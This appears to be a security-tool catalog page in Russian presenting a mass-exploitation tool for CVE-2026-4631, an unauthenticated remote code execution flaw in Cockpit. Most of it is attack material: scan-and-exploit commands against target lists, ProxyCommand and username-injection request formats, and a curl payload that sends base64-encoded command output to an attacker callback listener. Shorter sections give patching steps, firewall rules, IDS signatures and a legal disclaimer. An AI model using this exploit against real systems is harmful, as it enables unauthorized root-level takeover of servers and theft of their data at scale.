Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4631-cockpit-RCE — Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78 | Kitploit
Инструменты/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH в Cockpit версиях 327 – 359 | CVSS 9.8 Критический | CWE-78

Репозиторий
1 месяц назадЕщё не проверено

CVE-2026-4631 — инструмент массовой эксплуатации Cockpit

Неаутентифицированное удалённое выполнение кода через инъекцию аргументов командной строки SSH Версии Cockpit 327 – 359 | CVSS 9.8 критический | CWE-78

Инструмент массовой эксплуатации CVE-2026-4631 в веб-сервисе Cockpit (cockpit-ws, порт 9090). Поддерживает режим сканирования уязвимостей, режим RCE с перехватом вывода команды через встроенный HTTP callback-листенер, режим --auto (сканирование + эксплойт за один проход с командой по умолчанию id), автодобавление порта :9090 для целей без порта, оба вектора атаки (ProxyCommand + инъекция %r в имени пользователя), массовые цели из файла, конкурентные потоки (threading) и структурированный вывод результатов.

Автор: 0xNuts


Быстрый старт

Клонирование и установка

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Подготовка целей

Отредактируйте targets.txt — один хост в строке. Порт :9090 добавляется автоматически, если его нет:

root@kitploit:~
192.168.1.10
cockpit.example.com
https://manage.lab.local

Запуск (режим AUTO — рекомендуется)

root@kitploit:~
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Другие режимы

root@kitploit:~
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

Примечания о callback

CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе. Инструмент использует встроенный HTTP-листенер (порт по умолчанию 8888) для перехвата вывода. Убедитесь:

  1. --callback-ip — это IP-адрес, доступный с целевой системы (не 127.0.0.1)
  2. Firewall разрешает входящие TCP-соединения на порт 8888 (или на ваш --listener-port)
  3. Целевая система может отправлять исходящие HTTP-запросы на IP-адрес атакующего

Как исправить / митигировать (защитникам)

1. Обновите Cockpit (обязательно)

root@kitploit:~
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Отключите удалённый вход (обходной путь)

Отредактируйте /etc/cockpit/cockpit.conf:

root@kitploit:~
[WebService]
LoginTo = false

Перезапустите службу:

root@kitploit:~
sudo systemctl restart cockpit

3. Сегментация сети

Ограничьте порт 9090 только управляющей сетью:

root@kitploit:~
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Обновите OpenSSH >= 9.6

Митигирует вектор 1 (инъекцию ProxyCommand) за счёт ранней проверки имени хоста:

root@kitploit:~
ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. Ручной патч (бэкпорт)

Если обновление до 360 невозможно, примените исправляющие коммиты:

  • cockpit 9d0695647 — добавлен разделитель -- в beiboot.py и cockpitauth.c
  • ferny 44ec511c99 — добавлен -- в session.py

Подробности патча: см. docs/PATCH_ANALYSIS.md


Содержание

  1. Сводка об уязвимости
  2. Вектор атаки
  3. Предусловия эксплуатации
  4. Установка
  5. Использование
  6. Режимы работы
  7. Примеры выполнения
  8. Формат вывода
  9. Архитектура инструмента
  10. Структура файлов
  11. Механизм перехвата слепого RCE
  12. Обнаружение и митигирование
  13. Правовой отказ от ответственности
  14. Ссылки

Сводка об уязвимости

Cockpit v327 заменил cockpit-ssh (libssh) на python3 -m cockpit.beiboot, который вызывает системный OpenSSH-клиент ssh. Пользовательский ввод — имя хоста из пути URL и имя пользователя из заголовка Authorization: Basic — передаётся в ssh без санитизации и без разделителя конца опций --. Инъекция происходит до проверки учётных данных, поэтому действительный логин не требуется.


Вектор атаки

Вектор 1 — инъекция ProxyCommand (основной)

Имя хоста из пути URL инъекцируется с помощью SSH-опции -oProxyCommand=<cmd>.

root@kitploit:~
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH интерпретирует -oProxyCommand=<cmd> как опцию и выполняет <cmd> в качестве ProxyCommand. Команда выполняется от пользователя процесса cockpit-ws.

Предусловие: OpenSSH < 9.6 на целевой системе. В OpenSSH 9.6+ реализована ранняя проверка имени хоста, которая блокирует метасимволы.

Вектор 2 — инъекция токена %r в имени пользователя (дополнительный)

Имя пользователя из заголовка Authorization: Basic инъекцируется shell-командой.

root@kitploit:~
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH подставляет имя пользователя в токен %r в директиве Match exec → shell выполняет внедрённую команду.

Предусловие: в ssh_config целевой системы есть директива Match exec с токеном %r.


Предусловия эксплуатации

Сторона атакующего (машина, на которой запущен инструмент)

  • Python 3.8+
  • IP-адрес, доступный с целевого Cockpit (для callback-листенера)
  • Открытый порт для листенера (по умолчанию 8888)
  • Firewall, разрешающий входящие соединения от целевой системы к порту листенера

Сторона цели (экземпляр Cockpit)

  • Версия Cockpit 327 – 359
  • Порт 9090 доступен
  • Функция удалённого входа (LoginTo) не отключена
  • Для вектора 1: OpenSSH < 9.6
  • Для вектора 2: ssh_config с Match exec %r

Установка

root@kitploit:~
# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

Зависимости

  • requests>=2.31 — HTTP-клиент для эксплойт-запросов
  • colorama>=0.4 — цветной вывод в терминале

Для листенера дополнительных зависимостей не требуется (используются stdlib http.server + threading).


Использование

root@kitploit:~
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

Режимы работы

Режим 1 — сканирование уязвимостей (--scan)

Проба конечной точки /cockpit+=probe-host/login без эксплойта. Обнаружение:

  • Фингерпринт Cockpit по заголовкам/телу ответа
  • Активен уязвимый процесс входа (коды ответа 401/403/200/500)
  • Определение версии, если возможно

Не отправляет вредоносных payload, не требует callback-листенера.

Режим 2 — RCE с перехватом вывода команды (-c "cmd")

Выполнение команды на цели, перехват вывода через callback:

  • Встроенный HTTP-листенер запускается в фоне
  • Payload ProxyCommand оборачивает команду в curl для эксфильтрации на листенер
  • Вывод кодируется в base64 и отправляется POST-запросом на листенер
  • Листенер декодирует его и сопоставляет с целью по ID запроса
  • Результат записывается в выходной файл
  • Если -c не указан, команда по умолчанию — id

Режим 3 — AUTO (--auto) — рекомендуется

Сканирование + эксплойт за один проход, команда по умолчанию id:

  1. Разбор списка целей (автодобавление порта 9090, если он отсутствует)
  2. Запуск callback-листенера
  3. Для каждой цели: сканирование → если VULN, немедленный эксплойт с id (или переопределение через -c)
  4. Цели NOT VULN / UNREACHABLE пропускаются (не эксплуатируются)
  5. Результат: host [ uid=0(root) ... ]

Режим 4 — автоматический вектор (--vector auto)

Сначала пробуется вектор 1 (ProxyCommand). Если ответ указывает на OpenSSH >= 9.6 (ошибка проверки имени хоста), происходит откат на вектор 2 (%r в имени пользователя).

Автонормализация порта

К каждой записи в targets.txt без порта автоматически добавляется :9090:

root@kitploit:~
host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

Примеры выполнения

AUTO — сканирование + эксплойт (рекомендуется)

root@kitploit:~
# Target tanpa port → auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

Вывод results.txt:

root@kitploit:~
# CVE-2026-4631 mass exploit results — 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

Сканирование уязвимостей — массовые цели

root@kitploit:~
python3 exploit.py -f targets.txt --scan -o scan_results.txt

Вывод scan_results.txt:

root@kitploit:~
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

RCE — одиночная цель

root@kitploit:~
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/

Вывод:

root@kitploit:~
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

RCE — массовые цели с перехватом вывода

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

RCE — конкретный вектор

root@kitploit:~
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username

Настройка конкурентности и таймаута

root@kitploit:~
python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

Отладка через прокси

root@kitploit:~
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

Формат вывода

Формат файла результатов: одна строка на цель:

root@kitploit:~
<host> [ <status_or_output> ]

Заголовок файла результатов фиксирует временную метку, команду, вектор и количество целей.


Архитектура инструмента

root@kitploit:~
flowchart TD
    CLI["exploit.py<br/>argparse CLI + banner"] --> Parser["core/target.py<br/>parse & normalize targets"]
    CLI --> Engine["core/engine.py<br/>orchestrator"]
    Engine --> Listener["core/listener.py<br/>HTTP callback server thread"]
    Engine --> Pool["ThreadPoolExecutor<br/>concurrent workers"]
    Pool --> Scanner["core/scanner.py<br/>vuln probe"]
    Pool --> Exploit["core/exploit.py<br/>payload generator"]
    Scanner --> Req1["requests GET<br/>/cockpit+=test/login"]
    Exploit --> Req2["requests GET<br/>/cockpit+=-oProxyCommand=PAYLOAD/login"]
    Req2 --> Target["Cockpit target :9090"]
    Target -->|"blind RCE<br/>curl callback"| Listener
    Listener --> Shared["shared dict<br/>REQID -> output"]
    Engine --> Result["utils/result.py<br/>write results.txt"]
    Shared --> Engine

Компоненты

  • exploit.py — точка входа, разбор аргументов, диспетчеризация в engine, вывод баннера
  • core/target.py — чтение -f file / -t url, нормализация (добавление http://, порт по умолчанию 9090), дедупликация
  • core/scanner.py — режим --scan, проба конечной точки, фингерпринт Cockpit, вывод об уязвимости
  • core/exploit.py — генерация payload для каждого вектора, отправка эксплойт-запроса через requests
  • core/listener.py — ThreadingHTTPServer на --callback-ip:--listener-port, разбор ?id=REQID&out=BASE64, сохранение в общий dict
  • core/engine.py — оркестратор: запуск листенера, создание ThreadPoolExecutor, сопоставление callback с целью по ID запроса, обработка таймаута, запись результата
  • utils/banner.py — ASCII-баннер
  • utils/result.py — запись файла результатов в формате host [ output ]

Структура файлов

root@kitploit:~
CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # entry point CLI
├── requirements.txt            # dependencies
├── README.md                   # dokumentasi ini
├── targets.txt                 # contoh target list
├── results.txt                 # output (generated)
├── core/
│   ├── __init__.py
│   ├── target.py               # parser target
│   ├── scanner.py              # mode scan vuln
│   ├── exploit.py              # payload generator + sender
│   ├── listener.py             # HTTP callback server
│   └── engine.py               # orchestrator
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII banner
│   └── result.py               # result writer
└── docs/
    ├── VULN_ANALYSIS.md        # analisis mendalam vulnerability
    ├── PATCH_ANALYSIS.md       # analisis patch commit
    └── DETECTION.md            # signature deteksi

Механизм перехвата слепого RCE

CVE-2026-4631 — это слепой RCE (blind RCE): вывод команды не возвращается в HTTP-ответе Cockpit. Инструмент решает эту проблему с помощью встроенного HTTP callback-листенера:

Поток выполнения

  1. Запуск листенера — многопоточный HTTP-сервер слушает --callback-ip:--listener-port
  2. Генерация REQID — уникальный 8-символьный hex UUID4 для каждой цели
  3. Сборка payload — ProxyCommand оборачивает команду в curl для эксфильтрации:
    root@kitploit:~
    bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
    
  4. URL-кодирование payload — инъекция в поле имени хоста:
    root@kitploit:~
    GET /cockpit+=-oProxyCommand=<URL_ENC_PAYLOAD>/login
    Authorization: Basic base64("x:x")
    
  5. Отправка запроса — через requests.get с verify=False для самоподписанных сертификатов
  6. Ожидание callback — опрос общего dict results[REQID] до истечения --timeout
  7. Сопоставление и декодирование — если callback пришёл, декодировать base64-вывод, сопоставить с целью по REQID
  8. Запись результата — host [ decoded_output ] в выходной файл

Откат при отсутствии callback

Если истёк таймаут без callback, проверяется SSH-ответ об ошибке:

  • Ошибка проверки имени хоста → OpenSSH >= 9.6, вектор 1 заблокирован → VULN - no callback (OpenSSH >= 9.6?)
  • Ошибка соединения → UNREACHABLE
  • Конечная точка отсутствует → NOT VULN

Конкурентность

  • ThreadPoolExecutor(max_workers=--threads) — параллельно для каждой цели
  • Общие dict[REQID] -> target_host и dict[REQID] -> output с threading.Lock
  • ThreadingHTTPServer обрабатывает конкурентные callback-запросы
  • Для каждой цели try/except: ошибка соединения, SSL-ошибка, таймаут

Обнаружение и митигирование

Сигнатуры для сетевых IDS

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

Обратите внимание на:

  • -oProxyCommand= в пути URL
  • Точку с запятой (;) в декодированном значении Authorization: Basic

Поиск по журналам

root@kitploit:~
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

Митигирование

  1. Обновите Cockpit >= 360 (обязательное исправление)
  2. Отключите удалённый вход — /etc/cockpit/cockpit.conf:
    root@kitploit:~
    [WebService]
    LoginTo = false
    
  3. Сегментация сети — ограничьте порт 9090 управляющей сетью:
    root@kitploit:~
    iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
    iptables -A INPUT -p tcp --dport 9090 -j DROP
    
  4. Обновите OpenSSH >= 9.6 — митигирует вектор 1 (ранняя проверка имени хоста)

Проверка версии

root@kitploit:~
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# Vulnerable: 327 <= version <= 359

Правовой отказ от ответственности

Этот инструмент создан для авторизованного пентеста, исследований безопасности и валидации уязвимостей на системах, которые принадлежат вам или на тестирование которых у вас есть письменное разрешение.

Использование этого инструмента на системах без явного разрешения владельца незаконно и может повлечь уголовную ответственность в соответствии с действующим законодательством (в Индонезии: UU ITE, статьи 30–33).

Автор не несёт ответственности за неправомерное использование этого инструмента. Используйте его этично и ответственно.

Разрешённые сценарии использования:

  • Аудит безопасности собственной инфраструктуры
  • Участие в пентесте с письменно определёнными рамками (scope)
  • Валидация патчей в лабораторной среде
  • CTF и обучение по безопасности

Ссылки


Лицензия

Для исследовательских целей и авторизованного тестирования. Не для коммерческого распространения без разрешения.

Скачать инструмент
ПолеОписание
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
СерьёзностьКритический (CVSS 9.8)
CWECWE-78 — внедрение команд ОС
ЗатронутыCockpit 327 – 359
Исправлено вCockpit 360+
Требуется аутентификацияНЕТ (без аутентификации)
СообщилJelle van der Waa
Сервисcockpit-ws, порт по умолчанию 9090
СтатусЗначение
uid=0(root) ...RCE успешен, вывод команды перехвачен
VULN - no callback received (OpenSSH >= 9.6?)Цель уязвима, но вектор 1 блокируется OpenSSH 9.6+, попробуйте вектор 2
VULN - endpoint activeРежим сканирования, обнаружена уязвимая конечная точка
NOT VULNCockpit >= 360 или конечная точка отсутствует
UNREACHABLEСбой соединения / таймаут соединения
ERROR: <msg>Исключение при выполнении
РесурсURL
Консультация GitHubhttps://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Раскрытие OSS-Securityhttps://www.openwall.com/lists/oss-security/2026/04/10/5
Red Hat Bugzillahttps://bugzilla.redhat.com/show_bug.cgi?id=2450246
Запись NVDhttps://nvd.nist.gov/vuln/detail/cve-2026-4631
Исправляющий коммит (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
Исправляющий коммит (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
Ошибка CPython argparsehttps://github.com/python/cpython/issues/66623
Проверка имени хоста в OpenSSH 9.6https://github.com/openssh/openssh-portable/commit/7ef3787
Справочный PoChttps://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE